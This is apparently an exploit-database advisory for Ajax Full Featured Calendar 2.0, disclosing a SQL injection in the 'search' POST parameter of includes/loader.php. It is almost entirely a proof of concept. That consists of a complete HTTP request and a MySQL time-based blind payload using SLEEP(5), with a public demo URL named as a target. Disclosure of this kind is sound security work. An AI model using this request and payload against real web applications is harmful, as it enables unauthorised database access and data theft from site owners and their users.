Ajax Full Featured Calendar 2.0 SQL Injection

`# Exploit Title: Ajax Full Featured Calendar 2.0 - 'search' SQL Injection  
# Dork: N/A  
# Date: 25.05.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/ajax-full-featured-calendar-2/10158465  
# Version: 2.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : The vulnerability allows an attacker to inject sql commands from the search section with 'search' parameter.  
====================================================  
# Demo : http://pauloreg.com/d/affc2/index.php  
# PoC : SQLi :  
  
POST /d/affc2/includes/loader.php HTTP/1.1  
Host: test.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://test.com/d/affc2/index.php  
Content-Length: 11  
Cookie: PHPSESSID=pt848bokjvads6c9kvgs1nu973  
Connection: keep-alive  
search=test  
  
Parameter: search (POST)  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: search=test%' AND SLEEP(5) AND '%'='  
  
  
====================================================  
  
`